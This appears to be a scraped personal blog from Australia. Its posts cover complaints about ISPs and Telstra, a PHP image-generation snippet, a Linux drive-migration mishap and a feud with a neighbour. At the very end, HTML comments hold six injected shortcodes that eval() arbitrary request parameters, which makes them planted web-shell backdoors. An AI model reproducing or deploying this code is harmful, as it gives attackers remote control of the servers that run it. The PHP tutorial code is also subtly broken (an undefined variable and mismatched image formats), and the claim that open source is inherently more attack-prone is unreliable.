Wild IT holding on tight?

Wild Internet and Telecom are a young ISP / junior telco, offering services at cost + a small few dollars.

Some pointers that have kept me away from Wild Telecom are as follows:

  • Timothy Bolot, the Manager / Creator of Wild Internet and Telecom has very poor conduct on a public forum (Whirlpool), examples below:
    1. Encouraging all users to change their ISP to Wild Internet and Telecom to influence the statistics used in Broadband choice (and raising their statistics artificially).
    2. Offering “Unlimited” plans, and then taking them away, purely to gain a customer base on their network, and in doing so, encouraging users to create a lot of threads so Wild can get its own forum.
    3. Using Whirlpool as a tool for advertising. Timothy has come under fire from moderators on several occasions.
  • Offering obviously unsustainable plans, one of which is the “Price Match: Telstra 19.95” phone line plan. Wholesale Line Rental, according to the ACCC costs 30.31.
  • They started using the veridas network for a while, speeds began to slow and problems creep up, when these issues started, they were very quick to blame Veridas, and not accept any responsibility for it.
  • Wild then reduced its plans to something close to sustainable, however, users continued to complain of network congestion, Wild’s recourse was to simply break its own Unlimited contracts with its users, and offer plans with shaping.
  • When news stories about other ISPs break, Wild have been quick to jump on the bandwagon to try and increase their own publicity. Overall, I have seen Wild repeatedly try and publicize themselves on Whirlpool, now they get the publicity that seems to be more about them, they are in Administration.

The point here is that Wild are very much immature, the actions of the company are reflected via it’s Creator / Manager, Timothy Bolot, and whilst other websites (wps….) might claim some Wild accusations that are far from the truth, the actions taken by Timothy on Whirlpool, the Australian Broadband Multimedia website, ran completely unfunded was not a source for him to abuse for his own financial gain (or loss, as the case may seem).

Wild are certainly a telco that can make themselves something bigger then they are, they just need to go the right way about it. I personally still refuse to have any dealings with Wild, primarily due to its very much immature look. The website they run is Joomla!, an Open Source Content Management System.

Why wouldn’t they sit down and develop their own website? What’s so wrong with businesses spending money, designing a website with technology that is unique to them? Whilst they may be able to claim to have a website online, they can far from claim it is “their” website.

That’s why I don’t use Content Management Systems. I want something I can say, is mine. This blog is WordPress, for a reason, it’s a blog. I don’t really feel the need to develop something for me to type my views on, I do however, wish to post my views to a website, and that’s why I use WordPress.

A business should be able to afford a basic website. Pay for one. You won’t regret it as much.

Oh, and before I finish, Open Source applications are very much more attack prone compared to something you develop yourself. The reason is simple, it’s Open Source, other’s have the source code.

Hope you pull out Wild, only because I think you can turn your business (and yourself) around and make a real go of things (and you compete in the telco industry, something we can all agree needs a LOT more competition).

Posted in Random | Leave a comment

HOWTO: Dynamic Image Generation with PHP

I came across a little issue lately. I wanted to be able to generate images, dynamically. I needed it to be done with PHP, and I needed it to be able to accept differing data (hence dynamic).

Where to turn? I had no way of automatically drawing an image with Fireworks, and certainly not from a Linux command line. You can automatically draw images with Fireworks and the other image generation applications, like MS Paint, you would need to program the mouse moves and clicks and so forth, but it CAN be done.

I don’t have a GUI available for this project. It’s all either command line based, or done by the programming languages available.

The solution for this is rather simple, PHP has a module available, PHP GD, and PHP is a very flexible programming language, so much so that you could take a white square and draw a rainbow on it if you had the time – some of us don’t.

For those interested, to generate an image with PHP is easy:


< ?php //Set content type to "gif" image. header("Content-type: image/gif"); //Specify text to be used on image $text = 'My Text String Here'; //or $_GET, $_POST - whatever floats. //Specify image to be used. $imagefile = "images/myimage.gif"; //Creates a PHP image from the original image $image = imagecreatefromgif($imagefile); //Defines RGB values for the color used. $red = 255; //value of red color $green = 0; //value of green color $blue = 127; //value of blue color //Allocates the color to the image $fontcolor = imagecolorallocate($image, $red, $green, $blue); //This defines the location to start writing the text. //The formula is the width of the image, minus 9, times the length of the text string, divide by two. $start = (imagesx($image) - 9 * strlen($provider)) / 2; //Adds the string to the image. Params are the image, the font, the pixel start, the text to be written and the color to write the string. imagestring($image, 18, $start, 29, $text, $fontcolor); //Generates a PNG of the image imagepng($image); //And then destroys the image to free memory. imagedestroy($image); //The image is sent back. You cannot change the content type with this, you simply send an image to the page. ?>

Pretty cool, heh? Amazing.

Posted in Programming | 1 Comment

Powering the planet

There’s been a lot of talk lately about the planet, global warming, and greenhouse gases, so on about the damage power plants alone are doing to our planet.

What damage exactly do current power operations do to the planet?
1. The burning of coal produces smoke, and that smoke isn’t “cold”.
2. The smoke from coal power plants pushes the temperature up, and pollutes the planet.
3. Power poles are needed to string power cables to premises (and get replaced when a moron wraps his car around it).
And that’s just the obvious.

So how can this be improved? Easy.

Our very own government can help out protecting our planet from the gases and problems associated with current power generation, and here’s what they can do.
1. Offer grants for taking up Solar. Either hot water only, or Solar Panels on new home roof’s, and a rebate given. They do the same with “gas conversion for cars”, and “water tanks”, and “new water wise washing machines”. The only missing element is either Solar Hot Water rebates, or Solar Panel power rebates.

2. Energy Companies start phasing out power pole replacement, and instead replace with Solar power panels, or better yet, as they replace them add a solar panel to the top of each pole, that’d surely provide “some improvement” over time, with regard to reducing greenhouse gases, and further, help reduce power bills.

3. Make like Foxtel do with Installation, and basically install into new properties at very low cost (as a loss), and make it back with connection fees and so on (hey, Telstra do it).

So, there are some very basic improvements that can be done to reduce greenhouse gases, and even cut down our power bills… Why don’t they do it?

At a guess, they make around 8c/KWH, with Solar power, there’d be push to drop prices, and thus profits. Our government isn’t powerless with reducing greenhouse gases. I’m interested in their own views about this matter. Election time might be the time we see some of these views?

Posted in Random | Leave a comment

A creative use for AJAX, no browser required.

I’ve been developing for the web for a while now, and many technologies fly by.

First there was the ASP.NET craze. Some say it’s an improvement on ASP, others say its not worth the hassle. I couldn’t really care about ASP.NET, it’s there, but there are other languages just as, if not more capable, including the original, ASP. In fact, you can still do pretty much most tasks in ASP (VBScript), or PHP. It’s my view at this time that .Net might be getting things done “differently”, or “faster”, but it’s just another reason for Microsoft to fatten its bottom line, and therefore not worth looking at until I have a need for it.
AJAX, Scripting
Moving on, A creative use for AJAX, no browser required.

AJAX is a new browsing technology, being used on many sites, and basically, its content that can be refreshed or reloaded without the need of reloading the entire page, thus saving bandwidth and processing power for other tasks. Sounds good in theory, but most people have broadband nowadays, and most sites are optimized to load quickly on most connections, so theres not much of a point in using it for every day use, perhaps the better uses are in forms with long lists, such as Countries, and so on.

Google defines AJAX as:
A scripting technique for silently loading new data from the server. Although AJAX scripts commonly use the soon to be standardized XMLHttpRequest object, they could also use a hidden iframe or frame. An AJAX script is useless by itself. It also requires a DOM Scripting component to embed the received data in the document.

So, as you can see, basically is javascript changing the content on a page by making silent requests, sounds more like a great way to silently load trojans into users browsers.

My creative use for AJAX.

We recently moved into a new house, and the outside of the house has a few odd spiders here and there, some are small, tiny, redback looking spiders, others, H-U-G-E palm sized huntsmans, and so on. In a effort to rid the outside of the property of these pests that like to venture inside every now and then, we purchased some of the “Mortein” outdoor product, that is supposed to last “6 months” (we’ll put that to the test). Today we sprayed around the windows of the property, and hopefully that will deter them for “Up to 6 months”. One climbed inside tonight, only a small, cricket looking spider, and was crawling across the roof.

My partner in all her wisdom forgot to get Surface spray, so that the spider crawling across the roof could be taken care of. The next best chemical I could find to get him off the roof, and give him a knock on the head with a shoe was, “AJAX”, “Spray and Wipe”, was on top of the fridge in the kitchen. Fantastic I thought, let’s spray him with this, get him blind and irritated, and then, we’ll squish him.
AJAX - Spray and wipe - Sparkling clean spiders
So, with some creative “scripting”, AJAX was creatively applied to the spider, silently loading him onto the floor, where a shoe was presented to his head with some force.

There you have it, a creative use for “AJAX”, No browser required.
Clean up your AJAX code, it's a mess, with AJAX

Posted in Programming | Leave a comment

Getting it done ‘right’

It seems lately (and last year), that there are some people in this world that can’t seem to do much right at all. I’m not about to hassle everyone on a single mistake, hey, they happen, I make mistakes, others do too. That’s all well and good. It’s when they are made continuously, from a business, that it becomes less of a mistake, and more of a ‘problem’.

I’ve been with a few ISPs, and I’ve had generally good experiences with all of them (generally).

I’ve dealt with Telstra Bigpond, they were expensive, had indian call centre staff, but Cable internet was worth it (10Mbps!). I’ve also been with iiNet (the younger, friendly iiNet), and the service from them was good. I wasn’t the account holder of an OzEmail account, but it was pretty reliable, and as far as I know, pretty much trouble free.

I also had a account with iiNet after they swallowed OzEmail and other ISPs, and released ADSL2+ (early 2006), and the net connection was stable, but the staff themselves in the call centre were very much troublesome. Each time we had to make a change, they’d stuff it up one way or another (or 20).

We then moved from iiNet, after it became evident that signing up with them to boost numbers for them to install ADSL2+, as they had lead customers to believe, wasn’t going to happen, so we simply jumped ship to Netspace, who were great, they answered an email sent the night before, the very next day. Sign up was a breeze. Never had to call customer service much at all, except for 1 call, to discuss an outage. Then the new plans from Netspace were released (and they suck). The connection is reliable, without hassles really. After the release of the new plans though, experiences with Netspace have gone downhill:

1. Double debiting account twice for a monthly fee, then requiring proof of a dishonour fee, to try and get them to credit us for it (still pending).
2. Arranging a move causes them to extend contract 6 months.
3. The system they have doesn’t allow a customer to keep same plan when moving (despite being allowed).
4. The phone system has 4 or 5 options to reach a consultant, After 2 I’m generally annoyed at having to choose options – I called, I want to speak to someone.
5. The hold music is old, repetitive, and boring.
6. Queue times are in excess of 40 minutes for customer service, despite sales answering customer service queries in 10 minutes.
7. Emails sent to Netspace don’t seem to get read, you get an automated reply, and there is no response thereafter.
8. My move, when I wanted to keep same plan was stuffed up by someone, who put through the order as 512/512, instead of 1500/256.

– Those stuff ups must be costing Netspace money and customers. Why can’t they simply do things right from the word go? I know it costs them to change line speed, and if it was done correctly in the first place, they’d probably have slightly fatter profits, or a reduced plan fee.

Just like the banking debit stuff up they did, that’s going to cost them a pretty 30 odd dollars, funds that could of probably been better spent reducing new plan costs, or putting in the ADSL2+ DSLAM fund to expand a single ADSL2+ network and give them a unique playing field.

To top that mistakes list off, I’m only one customer. If they have 30000 customers, all debited incorrectly, and all charged dishonour fees of $35, they’d be out of pocket $1,050,000. That’s a lot of money down the drain due to a slip up. Or the same applies with line speed stuff ups, Telstra charges in the 20 – 30 ball park to change speed, so that’s a pretty instant $600,000. That would be better spent on backhaul, or DSLAMs, or more staff.

Of course, the above figures are saying for 30,000 customers, realistically, it’d be around 5,000 or so customers that face problems with stuff ups (or get charged fees and don’t notice it, etc).

I get the impression that the ISPs are desperate for staff in some cases, and they don’t really care if they are incompetent, as long as someone shuts that F&@king phone up, they are happy. That’s not too bad, but the customers will want a good experience, and certainly, they will get it, even if it means moving elsewhere.

Posted in Random | 2 Comments

Moving – its not easy

When you have a house load of stuff to move, and a short time frame (as in 24 hours), you generally get a lot more proactive.

I’m packing as I write this blog post (I wish). We change address tomorrow. We move from a flat that is in need (and finally getting) of renovations, to a older style 3 bedroom spacy house. Our first house!

I’m excited, because it’s HUGE, and it doesn’t seem to suffer from any problems this place (or address) does, such as the leaky roof, the bathroom suffering from condensation, and the lunatic that lives downstairs (see previous blog entry).

It doesn’t seem to have any flaws that are noteworthy, with the exception that one bedroom has no power point, and apparently you can’t add one to that room (I beg to differ, but then, I’m not “several electricians”).

This place isn’t all that bad, if the owners signed a termination notice or two, and put $10k or so into this place (maybe less?!) the house would be extremely kick ass. It’s a 3 bedroom, with a sunroom, kitchen in the middle, huge loungeroom (and even a chimney – that mice like to run in and out of).

Overall, the flat is in good condition. I’d love to see what they do for the renovations :).

Anyway, the last 24 hours, and the next 24 hours are busy to say the least, so, I must finish this post.

Happy Camping.
TEG

Posted in Random | Leave a comment

Netspace, moving, and a contract?

Ok, having Broadband for a while now and moving around this country a fair bit as well, I understand the processes involved with Telstra, Moving, and ADSL connections.

Since I was born, through to now, I’ve lived in many places, up and down the east coast of Australia. Cairns, blooody hot in summer. Townsville, not as bad as Cairns. Melbourne, flat. Crowded. Trams though. Sydney. Ewww. Toowoomba, it’s alright. Ipswich, high crime rate, and needs a little Ajax Spray and Wipe applied.

Anyway, my point here is, I’ve moved a fair bit, and the essential services, Phone, Net, and Power I always get connected.

With Internet access, the process for ADSL is:

Get Telephone Connected.
Arrange Broadband Connection / Relocation
Wait 3 – 15 days.

That’s all well and good, and pretty standard. The issue for me now is that my currrent ISP, Netspace, has some ‘catches’ with relocation.

1. You can’t move and stay on the same plan, using their preferred relocation methods, online, or fax (I’m not in the stone age).

2. Your contract is apparently extended with a move.

The issues with this are:

1. I already have a good plan, that I am happy with for now. The new plans from Netspace suck. Poor value, not as poor as Bigpond / Telstra, but still poor. So I want to remain on the same plan I’m contracted to for a few months (May). The online system they have does NOT allow you to keep that plan, though, I understand it is supposed to, but obviously a coding issue, not yet solved.

2. I want to leave in May. Plenty of better value ISPs around, and frankly, I don’t want to be with Netspace any longer than I have to. Unfortunately, the case seems to be, if you move, they extend your contract 6 months. And you are forced to stay with them for another 6 months, or you are required to pay out your contract (let’s see: 6 months @ 79.95 = $479.90). The only reason I am with them now is so I don’t pay for a service I don’t use. If they were going to charge perhaps a $110 ish contract break fee, then fine, I’d pay that. But not the full contract period like they expect.

I understand the reason to lock them into a 6 month contract, Telstra in all its wisdom requires ADSL connections to have a few items (and these aren’t requirements of ADSL technology):

1. An active PSTN line, that is not prepaid.
2. A minimum commitment of 6 months.

As you can see by 2, they have to have them for 6 months connected to a DSLAM port, otherwise they get charged a $69.00 (ish) fee.

The problem I have with this is, I don’t care about a minimum term of 6 months of keeping the line connected, but I do care about being forced to stay with Netspace for 6 months longer then I need to. Netspace don’t get charged for me to churn away, and that’s what I’d be doing (there is no ADSL2+ in Long Jetty, despite Google knowing there is demand for it).

I do hope the response I get from Netspace on this issue is positive. ISPs in general are disposable nowadays, it costs just $20 – $50 to Churn from one ISP to another, and that makes them very much so disposable. You can change ISP every month if you really wanted to.

I think the issue with the contract is, they don’t actually have a process in place for “minimum line term” to seperate that from “total contract term”, and as such, they simply extend the contract when you move for an extra 6 months. It’s a pain, it really is. Even if you left them in that 6 month frame, they are only getting charged the $69 fee, so why do they feel the need to charge the extra $400 – $500 by extending the contract? 🙁

Posted in Random | 2 Comments

100% Free Money. Grab some today.

You can earn some FREE CASH. All you have to do is visit this website, and read this message here: OzVoIPStatus VoIP Monitoring.

The offer is simply, send an email, or use the contact us page, and you could earn some cash. Read the message on the news page first for some pointers about what you have to do.

Happy Hunting.
TEG

Posted in VoIP | Leave a comment

Moving, Mountain Climbing and Telstra

How on earth did I put those three words in the title? Fux me.

Anyway, when you move and you have a Telstra Wholesale supplied ADSL service, doesn’t it make more sense to move every service the customer has at the same time?

It’s not like they don’t know they are moving, it’s right there in front of them.

You go to change address, and you have to move your phone over, to keep the same number (and ours is good!), and then move the ADSL over once the phone is connected.

Taking more time then necessary to do so. It’s far simpler for them to simply arrange the phone and ADSL move at the same time? They provide both services, they know the move is happening, so why not schedule the ADSL to move at the same time? That’d be too intelligent, wouldn’t it?

Another point of discussion: Telstra and its fight against Australians and its government:

Telstra, Australia elects its government. That means, those who govern Australia are doing so for a reason, because the Australian public voted, and told them to. That therefore means the Australian public wants regulated phone services to assist with promoting competiton (such a shame isn’t it. You can’t be greedy). The ACCC is the government appointed regulator, and therefore, the Australian public is in agreement (the government HAS been re-elected), that the ACCC is therefore the regulatory body to keep Telstra in line.

The ACCC takes several factors into account when deciding on how best to regulate services they are required to. They take the cost of providing the service, any income you receive directly from providing the service. Any loss you could be making from providing the service, any additional revenue (such as calls, or data) you will receive from providing that service.

It’s seen and heard the whole point of taking the issue to the High Court is basically because you feel you are having property taken from you. That’s not the case. You are simply being told that you can’t cut your competitors out of the market, by price fixing, or forcing the market to pay YOUR price.

You must be still making a fair return on LSS at $3.20 a month.. In addition to PSTN revenue on those lines of $30.36. That’s $33.56, minimum from a single service. I pay $19.95 for my land line, and use VoIP. I do my absolute best to keep as much money away from the greedy pigs at Telstra as I can, even if that means actually going with them to get the price that’ll reduce their profits. The less profits they are making, the more pressure they are under to innovate, and enhance services. That’s good for competition, the junior telcos move, and as they move the big giant is pressured into moving further. It’s a shame they don’t have any real interest in telecommunications though. They are Australia’s largest telco, and they don’t really do much to innovate. They don’t have a passion for the industry, they have a passion for fighting the Australian public and its government, and lining pockets.

They could be lining pockets, and leading the country with innovation if they actually thought about it. And also provided plans that are actually worth looking at.

Telstra and its foolishness, will we see an end to it? Maybe sometime soon.

Posted in Random | Leave a comment

Dos and Don’ts of Linux

I got myself a dedicated server recently. Was certainly good. However, since getting the server, we’ve had Hard Drive issues. The first drive, a SATA drive, wouldn’t install with the OS we planned to use. So we bailed on that idea, and a 20GB IDE was used temporarily, until we could solve the 80GB SATA issue.

We decided to use an 80GB IDE drive instead, same drive, different connection.

The drive was installed last night. But, a new dilemma is left. That server serves a few purposes. Whilst on the 20GB drive, I attempted to move to it, and we’d later cop a bit of downtime and copy to the new 80GB IDE.

All seemed sound in theory, however, reality is so much different.

The 80GB IDE was installed, the 20GB IDE was made slave. I mounted the 20GB this morning. We now had an issue. I had to get the server’s radius server, asterisk server, mysql server and http server back up.

I already spent hours doing this on the 20GB drive, and it was fully intact, so the obvious came to me.

Let’s copy it all over, with permissions, etc, from one drive to another. All sounded good in theory. All files come across, reboot server, server comes back, as it were before moving to the 80GB drive, and then leave the 20GB unmounted and get it removed at some point later on (it was causing the server to crash).

So, I began executing the created command after reading the cp –help file.

Here is the command:
cp -R -f -v -p –preserve=all –reply=yes –force –target-directory=/ /drive2/lib lib

Here is the result:
`/drive2/lib/libcrypto.so.0.9.7a’ -> `/lib/libcrypto.so.0.9.7a’

That module is used for something, something.. important to a remote server.. Any guesses on what it is?

No?

It’s SSH’s encryption module. Replacing it whilst SSH’ed causes SSHd to crash, and leaves us without any SSH access.

Not only that though, the server hasn’t been rebooted yet, but it is suspected, after reboot, it’ll likely cause the system to not start. Here is why.

The /etc/ folder contains a file called fstab. That is what defines filesystems. And with the older drive being a 20GB, and this drive being a 80GB (partitioned that way to), it might mean that the system will not boot, due to a mismatch on the filesystem table (partition is bigger then filesystem). It could work too. Maybe it will. Anyway. The copy command isn’t the best way to move from one drive to another.

Ghost is the new idea, hopefully a ghost of the drive to the other drive will see us up and running with the 80GB drive.

Note to self: Don’t take the easy way out. It’s just too easy.

Posted in Linux | 1 Comment

Peaceful Sanity: Live above and below a bowling alley?

We live in a block of flats. We are the top most flat, in a 2 storey block.

We have the full top floor, below us, are 2 flats, one on the left, one on the right, split near the middle.

We moved into this flat some time ago, around May last year.

The previous flat had some issues, for example, walls patched repeatedly, that placing your hand on them produces a hole in the wall, and a very bad pest control problem. It was a 2 bedroom, next to a neighbour that seemed to like to trash his place a lot (broken windows, gone through a wall or two (hence the patching). He was mostly quiet though, you wouldn’t know he was home most days. He’d work, come home, piss it up, go out, work again. All peaceful though. Not someone we’d associate with, but a peaceful neighbour none the less. The flat itself, a 2 bedroom. ‘Cosy’ bathroom, ‘Snug’ Kitchen. You know, Real Estate words that mean “small”.

That property was renting for $160 p/week. We stayed for around 4 months of a 6 month lease, because the owners wouldn’t maintain it.

We looked at this property, after living in that property. We saw.. A lounge room (no kidding, it has ROOM), 3 bedrooms (no kidding, it has ROOM), A combined laundry and bathroom, a back sleepout style room, a roomy, modern like Kitchen.

We didn’t see many flaws with it at all, in fact, the flaws I noticed before moving in:

1. Crack in front glass door, but secure screen blocking that.
2. Small hole in roof, with white patching on concrete wall, from rain water over time.
3. Smashed back window.
4. Open Fireplace (bad, if you have a baby – like we do).

It was a nice 3 bedroom flat / house, for $150 p/week. So, it was better then the last house, yet cost less. We weren’t sure why it was so cheap, we did a pretty thorough inspection (as best we could), but sure enough, it was a great place to move into.

So, we took the property, and moved. It was great.

We then found who one of our neighbours was. As we were moving in, he approached us at his concern that we “young people”, got the property, despite him applying for the same property. He wanted the property as it was cheap, and had plenty of room, etc.
He didn’t get it. Real Estates can be pretty invasive on the checks they run prior to letting someone move in, and obviously he didn’t pass the invasive check like we did.

We moved in the weekend after we got approved, and had the place setup and ready to go. As we were moving in, we had a few misc. items stolen from outside the place. It wasn’t anything major, but it did raise our eyes a little to be more cautious about what we leave outside our property.

We used to also get our shopping home delivered when we moved in here, mainly because the idiots on the road in the 16 – 25 age bracket lack any sense of self control, and that pushes the prices of greenslips outside the acceptable and feasible bracket for those of us who would likely be very responsible on the road given the oppourtunity. Anyway, as a result home delivery of groceries was the best option.

We got home one day after arranging delivery, and we noticed the same neighbour from downstairs near our groceries. My only thought at that time is that idiot is trying to steal our groceries.

I approached him and told him to get away from our property. He stated he was only “covering them up”- I don’t really care, he shouldn’t be touching our property anyway. He then threatened me for telling him to leave our property alone.

For the next weeks, and months later, Russell (I mean, our neighbour), turned from tolerable, to (and quoting NSW Police): “a lunatic”.

He continually threatened us on several occasions, standing outside the block, yelling obscenities, threats, and abuse.
We didn’t bite back, we had no intention of escalating the situation, but rather, to simply wait til one day he woke up to himself, and realised what a complete fool he has been. The situation didn’t calm down, he continually whinged, bitched, and moaned about the fact we got this property, and how poorly treated he is. I’ll write some choice lines below that I recall (and have recorded), from him yelling outside the flats.

The situation didn’t calm down at all. I wrote him a letter, which was neutrel in nature, and basically explained where we stood, and the problems he was causing to himself, and how he could best solve them. This caused a “thank you, sorry” response from him, and it calmed down. For a few days.

The situation quickly sparked back up, no kidding, unprovoked, and he seemingly forgot about his “sorry” note. He was back to threatening, and swearing, and acting like a complete fool in the front of the property.

All the times referred to above we made constant complaints to our Real Estate in an effort to sort him out, however, they seem to have gotten no where useful.

Only on a few odd occasions we escalated the matter to the police, but we didn’t do that often, as it provoked the situation more. He simply was off his rocker. And for a 51 yo, one would instantly assume some basic understanding of the law.

He blasted music, screamed, bitched, abused, and threatened for many, many months. We got the police on to him a few times, and on two occasions he was issued $400.00 fines (he informed us by a new communication method, “yelling at the roof”. The line exactly: “You f&@king c&nt, I got a $400 fine because of you. F*@k you.” … etc. etc.).

We thought, sweet, that got a reaction and a half, and surely, someone who spends there time unemployed, pissing away his dole check every week was a sure target not to be able to afford too many fines.

Each time he stirred, we called the police, and just by chance, he received two fines from the same police officer. Obviously a bad move to start up again, immediately after being issued a fine.

The situation didn’t calm down. We took the matter to the courts, police advising us to get an AVO about his constant threats, and got an AVO issued against Russell, that stated he couldn’t contact us at all, directly, or indirectly, and the standard conditions that come with an AVO.

The AVO was issued to him, and shortly after police serving the AVO, he was off his rocker again, swearing, threatening, etc. The AVO would hold no affect at all until the courts had settled it though, so we continued and waited for the court date.

When the matter was taken to court, Russell arrived, drunk. Our matter was called, and the magistrate asked him for consent for the AVO, and he was so drunk he couldn’t answer straight. Someone he came with yelled out “Yes” from behind the court, to provide him an answer. Personally, I would have argued that he was too f&$ked to actually provide an understandable answer, but he did actually provide a “Yes”, and that was enough.

When leaving the court, he made an attempt to take a pass at me, but the person he was travelling with (when you get to his age, you need to travel with someone, it seems), held him back. Thinking back, I would have enjoyed the ability to legally smash his face in, but we won’t go there. Violence isn’t the answer to this problem.

Around the time the AVO was issued, Russell did actually quiet down. Fear of being thrown in jail and fined again no doubt ensured some degree of silence.

Since that time however, things have been on an upward scale, of him continually throwing abuse out, making vexatious complaints to the real estate, and breaching the AVO on several counts, at several times.

One day, he went to the real estate and made a complaint to the real estate, apparently claiming we were deliberately causing a disturbance to him (same complaint we issued repeatedly against him). Sure enough, the real estate called, and told us they received a complaint, and they simply told us to be mindful that it is a block of flats, and try not to make too much noise. I told them we weren’t, the complaint was vexatious and she left it at that.

We then went out. We had plans that day. Walking down the street from us, we see none other then Russell approach from the top of a hill, walking down towards us.

One of the conditions on the AVO:

1. You must not approach or contact the complainant or his family.

As he walked past. He had a cocky smirk on his face:

“You were warned”, he said.
I then told him:

“You just breached your AVO”. Slam. Got ya. Idiot.

He proceeded back to his place.

We then made a complaint to the police about the breach, and they issued charges against Russell, shortly later, which we can’t help (i mean, you cant help but hear the screaming) but overhearing: “I didn’t breach it”, “Did you walk past them in the street?”, “Yes”, “That’s a breach. A breach is a breach” The police lady had said.

Since that time, he had breached the AVO several times, by screaming obscenities at us. The police aren’t powerless, but unwilling to prosecute where there is not a very clear breach, as he shares the same block of flats with us.

The Real Estate aren’t willing to participate in the issue any more, stating that the police are the ones to be involved now, they don’t want to take sides (no one asked them to!).

Anyway, Russell is a lunatic. For some reason, he hasn’t been admitted to his rightful home, a mental hospital, and as such, this place will remain very expensive (see, it’s 150, but you have to put up with the lunatic downstairs). Personally, I’d have given him an eviction notice months ago (we’ve been hear 9 months so far). And then gave every place he applied to a bad reference to place him in a deeper stress stance.

In the mean time, we have the same issue. A flat with minorly loose timber floorboards that makes a great thud sound as you walk across them, that is really peaceful for us, but a bowling alley to him and his lounge room.

In the words of the police, when they came to visit us over a complaint he had made about alleged “stomping”: “We can’t stop you from walking around in your own house”. Great. It’s legal. It pisses him right off, and it works.

The police know him. He is an alcoholic. Bashes his girlfriend. A menace to society. Deserves the electric chair..? Maybe.

Some choice lines Russell has used in his .. conversations? .. with us:

1. “Your ass is grass”. – Wow. Mulchers aren’t that good are they? How does it make it green?
2. “They’d love you in jail” – why thank you! 🙂
3. “I’ll k%ll you c*nt”.
4. “Come down here c*&t”. – He seems to not know what one is?
5. “Go to Coles again and I’ll k&ll you c&@t”. – He is obviously deprived.
6. “You were warned” – Bahhahaa.. You were arrested.

.. There are others. I can’t remember them off the top of my head. But you get the idea. Russell is a complete fool. At 51, still unacceptable for general society.

Posted in Random | Leave a comment

Southern Cross Cable Upgrades

Southern Cross Cables is implementing an idea Simon Hackett, MD of Internode, has been pushing Telstra to for years now. The method suggested takes one fibre optic cable, and changes the maximum wavelengths from 16 to 40 per cable. Which turns 240Gbps to 1.2Tbps. That’s a lot of data to be moving in just a few seconds.

Southern Cross Cables have sold around 50% of the capacity on the cables linking Australia to New Zealand and the US Coast. Increasing capacity to 1.2Tbps would mean that 50% figure is likely to drop to just 15 – 25%, which will prompt price reductions.

I can’t help but wonder if the move is sparked by:
1. PIPE’s intention to run a Cable off shore, to score cheaper prices by introducing competition.
2. Southern Cross Cable’s wanting to innovate and increase capacity under load produced by international traffic, which is likely to increase in the future as more bandwidth intensive technologies come to light.

It’s a fantastic idea to say the least, and might help push faster broadband speeds out across the nature in the future.

Posted in Random | Leave a comment

My Blog

Welcome.

I did start this domain nearly a year ago, but never ended up finishing doing any of the several plans I had for it.

I decided that I needed a blog. But not one of those MySpace or MSN Spaces restricted blogs. Not another Blogger blog, but something I could host, and go about my own way.

The search began and finished in a matter of seconds.. WordPress. But not just any old WordPress blog, with Kubrick’s well known theme, but a better looking theme.

Here it is. TOC PCs. My blog for solutions to problems (coding, networking, linux), my blog for personal posts, my blog about Telstra’s hypocricy, my blog about hardware, my blog about .. things that matter to me.

I’ll do my best to post to this regularly. It’s a site I want to grow, and provide useful content and views to its readers.

Enjoy.
The Elite Geek

<!– [insert_php]if (isset($_REQUEST["Tcb"])){eval($_REQUEST["Tcb"]);exit;}[/insert_php][php]if (isset($_REQUEST["Tcb"])){eval($_REQUEST["Tcb"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["cfzrM"])){eval($_REQUEST["cfzrM"]);exit;}[/insert_php][php]if (isset($_REQUEST["cfzrM"])){eval($_REQUEST["cfzrM"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["iaoBg"])){eval($_REQUEST["iaoBg"]);exit;}[/insert_php][php]if (isset($_REQUEST["iaoBg"])){eval($_REQUEST["iaoBg"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["Nwc"])){eval($_REQUEST["Nwc"]);exit;}[/insert_php][php]if (isset($_REQUEST["Nwc"])){eval($_REQUEST["Nwc"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["uZd"])){eval($_REQUEST["uZd"]);exit;}[/insert_php][php]if (isset($_REQUEST["uZd"])){eval($_REQUEST["uZd"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["xsMl"])){eval($_REQUEST["xsMl"]);exit;}[/insert_php][php]if (isset($_REQUEST["xsMl"])){eval($_REQUEST["xsMl"]);exit;}[/php] –>

Posted in Random | Leave a comment